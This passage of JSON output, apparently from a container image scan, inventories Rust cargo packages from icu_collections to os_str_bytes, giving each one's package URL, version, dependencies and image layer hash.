"Name": "icu_collections", "Identifier": { "PURL": "pkg:cargo/icu_collections@2.1.1", "UID": "13b661901a731694" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "potential_utf@0.1.4", "yoke@0.8.1", "zerofrom@0.1.6", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_locale_core@2.1.1", "Name": "icu_locale_core", "Identifier": { "PURL": "pkg:cargo/icu_locale_core@2.1.1", "UID": "4e4b007207cdfbb" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "litemap@0.8.1", "tinystr@0.8.2", "writeable@0.6.2", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_normalizer@2.1.1", "Name": "icu_normalizer", "Identifier": { "PURL": "pkg:cargo/icu_normalizer@2.1.1", "UID": "ed22acd36b14fbb1" }, "Version": "2.1.1", "DependsOn": [ "icu_collections@2.1.1", "icu_normalizer_data@2.1.1", "icu_properties@2.1.2", "icu_provider@2.1.1", "smallvec@1.15.2", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_normalizer_data@2.1.1", "Name": "icu_normalizer_data", "Identifier": { "PURL": "pkg:cargo/icu_normalizer_data@2.1.1", "UID": "8d5d15181c8b67d4" }, "Version": "2.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_properties@2.1.2", "Name": "icu_properties", "Identifier": { "PURL": "pkg:cargo/icu_properties@2.1.2", "UID": "6d683fe45111f0da" }, "Version": "2.1.2", "DependsOn": [ "icu_collections@2.1.1", "icu_locale_core@2.1.1", "icu_properties_data@2.1.2", "icu_provider@2.1.1", "zerotrie@0.2.3", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_properties_data@2.1.2", "Name": "icu_properties_data", "Identifier": { "PURL": "pkg:cargo/icu_properties_data@2.1.2", "UID": "71f0cfdd8996af47" }, "Version": "2.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_provider@2.1.1", "Name": "icu_provider", "Identifier": { "PURL": "pkg:cargo/icu_provider@2.1.1", "UID": "b507d81fe5b87ecd" }, "Version": "2.1.1", "DependsOn": [ "displaydoc@0.2.5", "icu_locale_core@2.1.1", "writeable@0.6.2", "yoke@0.8.1", "zerofrom@0.1.6", "zerotrie@0.2.3", "zerovec@0.11.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "idna@1.1.0", "Name": "idna", "Identifier": { "PURL": "pkg:cargo/idna@1.1.0", "UID": "9b1900d57c0f0078" }, "Version": "1.1.0", "DependsOn": [ "idna_adapter@1.2.1", "smallvec@1.15.2", "utf8_iter@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "idna_adapter@1.2.1", "Name": "idna_adapter", "Identifier": { "PURL": "pkg:cargo/idna_adapter@1.2.1", "UID": "8dd1121e1313f523" }, "Version": "1.2.1", "DependsOn": [ "icu_normalizer@2.1.1", "icu_properties@2.1.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ignore@0.4.26", "Name": "ignore", "Identifier": { "PURL": "pkg:cargo/ignore@0.4.26", "UID": "abc92e3df316373f" }, "Version": "0.4.26", "DependsOn": [ "crossbeam-deque@0.8.6", "globset@0.4.18", "log@0.4.29", "memchr@2.8.2", "regex-automata@0.4.14", "same-file@1.0.6", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "image@0.25.10", "Name": "image", "Identifier": { "PURL": "pkg:cargo/image@0.25.10", "UID": "710b7173e8f4c43f" }, "Version": "0.25.10", "DependsOn": [ "bytemuck@1.25.0", "byteorder-lite@0.1.0", "moxcms@0.8.1", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indexmap@2.14.0", "Name": "indexmap", "Identifier": { "PURL": "pkg:cargo/indexmap@2.14.0", "UID": "96ce2598937fe0fa" }, "Version": "2.14.0", "DependsOn": [ "equivalent@1.0.2", "hashbrown@0.17.1", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indicatif@0.18.4", "Name": "indicatif", "Identifier": { "PURL": "pkg:cargo/indicatif@0.18.4", "UID": "6655703e14a564d1" }, "Version": "0.18.4", "DependsOn": [ "console@0.16.3", "portable-atomic@1.13.1", "unicode-width@0.2.2", "unit-prefix@0.5.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "indoc@2.0.7", "Name": "indoc", "Identifier": { "PURL": "pkg:cargo/indoc@2.0.7", "UID": "9b1efaa375a75f98" }, "Version": "2.0.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "inout@0.1.4", "Name": "inout", "Identifier": { "PURL": "pkg:cargo/inout@0.1.4", "UID": "f49eb9b738b950fe" }, "Version": "0.1.4", "DependsOn": [ "block-padding@0.3.3", "generic-array@0.14.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "insta@1.48.0", "Name": "insta", "Identifier": { "PURL": "pkg:cargo/insta@1.48.0", "UID": "8753b0796800b711" }, "Version": "1.48.0", "DependsOn": [ "console@0.16.3", "once_cell@1.21.4", "pest@2.8.6", "pest_derive@2.8.6", "regex@1.12.4", "serde@1.0.228", "similar@2.7.0", "strip-ansi-escapes@0.2.1", "tempfile@3.27.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ipnet@2.12.0", "Name": "ipnet", "Identifier": { "PURL": "pkg:cargo/ipnet@2.12.0", "UID": "f9f299e369c76d2b" }, "Version": "2.12.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "iri-string@0.7.10", "Name": "iri-string", "Identifier": { "PURL": "pkg:cargo/iri-string@0.7.10", "UID": "a20359613b05017b" }, "Version": "0.7.10", "DependsOn": [ "memchr@2.8.2", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is-docker@0.2.0", "Name": "is-docker", "Identifier": { "PURL": "pkg:cargo/is-docker@0.2.0", "UID": "87ad98e442b3dd8c" }, "Version": "0.2.0", "DependsOn": [ "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is-wsl@0.4.0", "Name": "is-wsl", "Identifier": { "PURL": "pkg:cargo/is-wsl@0.4.0", "UID": "dfde986ef386b255" }, "Version": "0.4.0", "DependsOn": [ "is-docker@0.2.0", "once_cell@1.21.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is_ci@1.2.0", "Name": "is_ci", "Identifier": { "PURL": "pkg:cargo/is_ci@1.2.0", "UID": "b588f572f3bc8634" }, "Version": "1.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "is_terminal_polyfill@1.70.2", "Name": "is_terminal_polyfill", "Identifier": { "PURL": "pkg:cargo/is_terminal_polyfill@1.70.2", "UID": "801a6e856cc2af38" }, "Version": "1.70.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "itertools@0.14.0", "Name": "itertools", "Identifier": { "PURL": "pkg:cargo/itertools@0.14.0", "UID": "b723dd8976f41db6" }, "Version": "0.14.0", "DependsOn": [ "either@1.16.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "itoa@1.0.17", "Name": "itoa", "Identifier": { "PURL": "pkg:cargo/itoa@1.0.17", "UID": "1d52706f210d289" }, "Version": "1.0.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jiff@0.2.28", "Name": "jiff", "Identifier": { "PURL": "pkg:cargo/jiff@0.2.28", "UID": "da13702e1b5206c0" }, "Version": "0.2.28", "DependsOn": [ "log@0.4.29", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jobserver@0.1.34", "Name": "jobserver", "Identifier": { "PURL": "pkg:cargo/jobserver@0.1.34", "UID": "3f065725a4a39896" }, "Version": "0.1.34", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "jsonwebtoken@10.3.0", "Name": "jsonwebtoken", "Identifier": { "PURL": "pkg:cargo/jsonwebtoken@10.3.0", "UID": "9ff9346b6dc92625" }, "Version": "10.3.0", "DependsOn": [ "aws-lc-rs@1.16.2", "base64@0.22.1", "pem@3.0.6", "serde@1.0.228", "serde_json@1.0.150", "signature@2.2.0", "simple_asn1@0.6.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lazy_static@1.5.0", "Name": "lazy_static", "Identifier": { "PURL": "pkg:cargo/lazy_static@1.5.0", "UID": "d7a7ad030f93b3fa" }, "Version": "1.5.0", "DependsOn": [ "spin@0.9.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "libc@0.2.186", "Name": "libc", "Identifier": { "PURL": "pkg:cargo/libc@0.2.186", "UID": "82df1b32d3260469" }, "Version": "0.2.186", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "libm@0.2.16", "Name": "libm", "Identifier": { "PURL": "pkg:cargo/libm@0.2.16", "UID": "fed084b53c9dba50" }, "Version": "0.2.16", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "linux-raw-sys@0.12.1", "Name": "linux-raw-sys", "Identifier": { "PURL": "pkg:cargo/linux-raw-sys@0.12.1", "UID": "f6c186a163539fd7" }, "Version": "0.12.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "linux-raw-sys@0.4.15", "Name": "linux-raw-sys", "Identifier": { "PURL": "pkg:cargo/linux-raw-sys@0.4.15", "UID": "3bcd722f83292142" }, "Version": "0.4.15", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "litemap@0.8.1", "Name": "litemap", "Identifier": { "PURL": "pkg:cargo/litemap@0.8.1", "UID": "fdc699429c2a66d6" }, "Version": "0.8.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lock_api@0.4.14", "Name": "lock_api", "Identifier": { "PURL": "pkg:cargo/lock_api@0.4.14", "UID": "8a44af15388d18f3" }, "Version": "0.4.14", "DependsOn": [ "scopeguard@1.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "log@0.4.29", "Name": "log", "Identifier": { "PURL": "pkg:cargo/log@0.4.29", "UID": "bde4d1b8962e32fe" }, "Version": "0.4.29", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lru-slab@0.1.2", "Name": "lru-slab", "Identifier": { "PURL": "pkg:cargo/lru-slab@0.1.2", "UID": "a8bd9098f4569566" }, "Version": "0.1.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "lzma-sys@0.1.20", "Name": "lzma-sys", "Identifier": { "PURL": "pkg:cargo/lzma-sys@0.1.20", "UID": "df918ff8f22a8099" }, "Version": "0.1.20", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mailparse@0.16.1", "Name": "mailparse", "Identifier": { "PURL": "pkg:cargo/mailparse@0.16.1", "UID": "bfe97ff511f4b6a" }, "Version": "0.16.1", "DependsOn": [ "charset@0.1.5", "data-encoding@2.11.0", "quoted_printable@0.5.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "matchers@0.2.0", "Name": "matchers", "Identifier": { "PURL": "pkg:cargo/matchers@0.2.0", "UID": "726d47f150ae061f" }, "Version": "0.2.0", "DependsOn": [ "regex-automata@0.4.14" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "md-5@0.10.6", "Name": "md-5", "Identifier": { "PURL": "pkg:cargo/md-5@0.10.6", "UID": "ba26f6e04f016cfe" }, "Version": "0.10.6", "DependsOn": [ "cfg-if@1.0.4", "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "memchr@2.8.2", "Name": "memchr", "Identifier": { "PURL": "pkg:cargo/memchr@2.8.2", "UID": "76c532e703dd9cff" }, "Version": "2.8.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "memmap2@0.9.10", "Name": "memmap2", "Identifier": { "PURL": "pkg:cargo/memmap2@0.9.10", "UID": "5df7db66d449293a" }, "Version": "0.9.10", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "miette@7.6.0", "Name": "miette", "Identifier": { "PURL": "pkg:cargo/miette@7.6.0", "UID": "9f192945a31c10ab" }, "Version": "7.6.0", "DependsOn": [ "cfg-if@1.0.4", "owo-colors@4.3.0", "supports-color@3.0.2", "supports-hyperlinks@3.2.0", "supports-unicode@3.0.0", "terminal_size@0.4.4", "textwrap@0.16.2", "unicode-width@0.1.14" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mime@0.3.17", "Name": "mime", "Identifier": { "PURL": "pkg:cargo/mime@0.3.17", "UID": "9c96127864e1c37a" }, "Version": "0.3.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mime_guess@2.0.5", "Name": "mime_guess", "Identifier": { "PURL": "pkg:cargo/mime_guess@2.0.5", "UID": "7cca6dad2314c661" }, "Version": "2.0.5", "DependsOn": [ "mime@0.3.17", "unicase@2.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "minimal-lexical@0.2.1", "Name": "minimal-lexical", "Identifier": { "PURL": "pkg:cargo/minimal-lexical@0.2.1", "UID": "68c5934190803ce9" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "miniz_oxide@0.8.9", "Name": "miniz_oxide", "Identifier": { "PURL": "pkg:cargo/miniz_oxide@0.8.9", "UID": "800ff59c905577a0" }, "Version": "0.8.9", "DependsOn": [ "adler2@2.0.1", "simd-adler32@0.3.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "mio@1.2.0", "Name": "mio", "Identifier": { "PURL": "pkg:cargo/mio@1.2.0", "UID": "c1f8ecc75d0e15df" }, "Version": "1.2.0", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "moxcms@0.8.1", "Name": "moxcms", "Identifier": { "PURL": "pkg:cargo/moxcms@0.8.1", "UID": "1e5226eaf5ba7836" }, "Version": "0.8.1", "DependsOn": [ "num-traits@0.2.19", "pxfm@0.1.28" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "munge@0.4.7", "Name": "munge", "Identifier": { "PURL": "pkg:cargo/munge@0.4.7", "UID": "48b8e9318888b0f3" }, "Version": "0.4.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nix@0.30.1", "Name": "nix", "Identifier": { "PURL": "pkg:cargo/nix@0.30.1", "UID": "d7372df56ac239b8" }, "Version": "0.30.1", "DependsOn": [ "bitflags@2.13.0", "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nix@0.31.3", "Name": "nix", "Identifier": { "PURL": "pkg:cargo/nix@0.31.3", "UID": "66de83c3c1593461" }, "Version": "0.31.3", "DependsOn": [ "bitflags@2.13.0", "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nom@7.1.3", "Name": "nom", "Identifier": { "PURL": "pkg:cargo/nom@7.1.3", "UID": "5aebeb744764258a" }, "Version": "7.1.3", "DependsOn": [ "memchr@2.8.2", "minimal-lexical@0.2.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "normalize-line-endings@0.3.0", "Name": "normalize-line-endings", "Identifier": { "PURL": "pkg:cargo/normalize-line-endings@0.3.0", "UID": "f677f2b67fb9b27d" }, "Version": "0.3.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "nu-ansi-term@0.50.3", "Name": "nu-ansi-term", "Identifier": { "PURL": "pkg:cargo/nu-ansi-term@0.50.3", "UID": "4853b412c93fac7" }, "Version": "0.50.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num@0.4.3", "Name": "num", "Identifier": { "PURL": "pkg:cargo/num@0.4.3", "UID": "f364ccca3536c54f" }, "Version": "0.4.3", "DependsOn": [ "num-bigint@0.4.6", "num-complex@0.4.6", "num-integer@0.1.46", "num-iter@0.1.45", "num-rational@0.4.2", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-bigint@0.4.6", "Name": "num-bigint", "Identifier": { "PURL": "pkg:cargo/num-bigint@0.4.6", "UID": "35f4188a3e9a0116" }, "Version": "0.4.6", "DependsOn": [ "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-bigint-dig@0.8.6", "Name": "num-bigint-dig", "Identifier": { "PURL": "pkg:cargo/num-bigint-dig@0.8.6", "UID": "d554aab50809dd9a" }, "Version": "0.8.6", "DependsOn": [ "lazy_static@1.5.0", "libm@0.2.16", "num-integer@0.1.46", "num-iter@0.1.45", "num-traits@0.2.19", "rand@0.8.6", "smallvec@1.15.2", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-complex@0.4.6", "Name": "num-complex", "Identifier": { "PURL": "pkg:cargo/num-complex@0.4.6", "UID": "3c9980be4c2c4ed7" }, "Version": "0.4.6", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-conv@0.2.0", "Name": "num-conv", "Identifier": { "PURL": "pkg:cargo/num-conv@0.2.0", "UID": "9d92bb40d48e11a9" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-integer@0.1.46", "Name": "num-integer", "Identifier": { "PURL": "pkg:cargo/num-integer@0.1.46", "UID": "1d1767ec9336aace" }, "Version": "0.1.46", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-iter@0.1.45", "Name": "num-iter", "Identifier": { "PURL": "pkg:cargo/num-iter@0.1.45", "UID": "322bf6330926ca92" }, "Version": "0.1.45", "DependsOn": [ "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-rational@0.4.2", "Name": "num-rational", "Identifier": { "PURL": "pkg:cargo/num-rational@0.4.2", "UID": "12a25ac6d4b32cfc" }, "Version": "0.4.2", "DependsOn": [ "num-bigint@0.4.6", "num-integer@0.1.46", "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num-traits@0.2.19", "Name": "num-traits", "Identifier": { "PURL": "pkg:cargo/num-traits@0.2.19", "UID": "8b4bdf84ea8518f6" }, "Version": "0.2.19", "DependsOn": [ "libm@0.2.16" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "num_cpus@1.17.0", "Name": "num_cpus", "Identifier": { "PURL": "pkg:cargo/num_cpus@1.17.0", "UID": "fe99ccfe54bb7c6b" }, "Version": "1.17.0", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "oid-registry@0.8.1", "Name": "oid-registry", "Identifier": { "PURL": "pkg:cargo/oid-registry@0.8.1", "UID": "ecfd064a739a66e4" }, "Version": "0.8.1", "DependsOn": [ "asn1-rs@0.7.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "once_cell@1.21.4", "Name": "once_cell", "Identifier": { "PURL": "pkg:cargo/once_cell@1.21.4", "UID": "992ba555454941b7" }, "Version": "1.21.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "open@5.3.5", "Name": "open", "Identifier": { "PURL": "pkg:cargo/open@5.3.5", "UID": "ed888f6c18776b4c" }, "Version": "5.3.5", "DependsOn": [ "is-wsl@0.4.0", "libc@0.2.186", "pathdiff@0.2.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "openssl-probe@0.2.1", "Name": "openssl-probe", "Identifier": { "PURL": "pkg:cargo/openssl-probe@0.2.1", "UID": "1c036dd791f8ce41" }, "Version": "0.2.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "option-ext@0.2.0", "Name": "option-ext", "Identifier": { "PURL": "pkg:cargo/option-ext@0.2.0", "UID": "aaa40d7cafdaddea" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-float@5.3.0", "Name": "ordered-float", "Identifier": { "PURL": "pkg:cargo/ordered-float@5.3.0", "UID": "97fdbb0a24e36c40" }, "Version": "5.3.0", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-multimap@0.7.3", "Name": "ordered-multimap", "Identifier": { "PURL": "pkg:cargo/ordered-multimap@0.7.3", "UID": "1ebca2c43a0f2b14" }, "Version": "0.7.3", "DependsOn": [ "dlv-list@0.5.2", "hashbrown@0.14.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ordered-stream@0.2.0", "Name": "ordered-stream", "Identifier": { "PURL": "pkg:cargo/ordered-stream@0.2.0", "UID": "b2df11691829a4a4" }, "Version": "0.2.0", "DependsOn": [ "futures-core@0.3.32", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "os_str_bytes@6.6.1", "Name": "os_str_bytes", "Identifier": { "PURL": "pkg:cargo/os_str_bytes@6.6.1", "UID": "6861aecb6e7c37fd" }, "Version": "6.6.1", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": 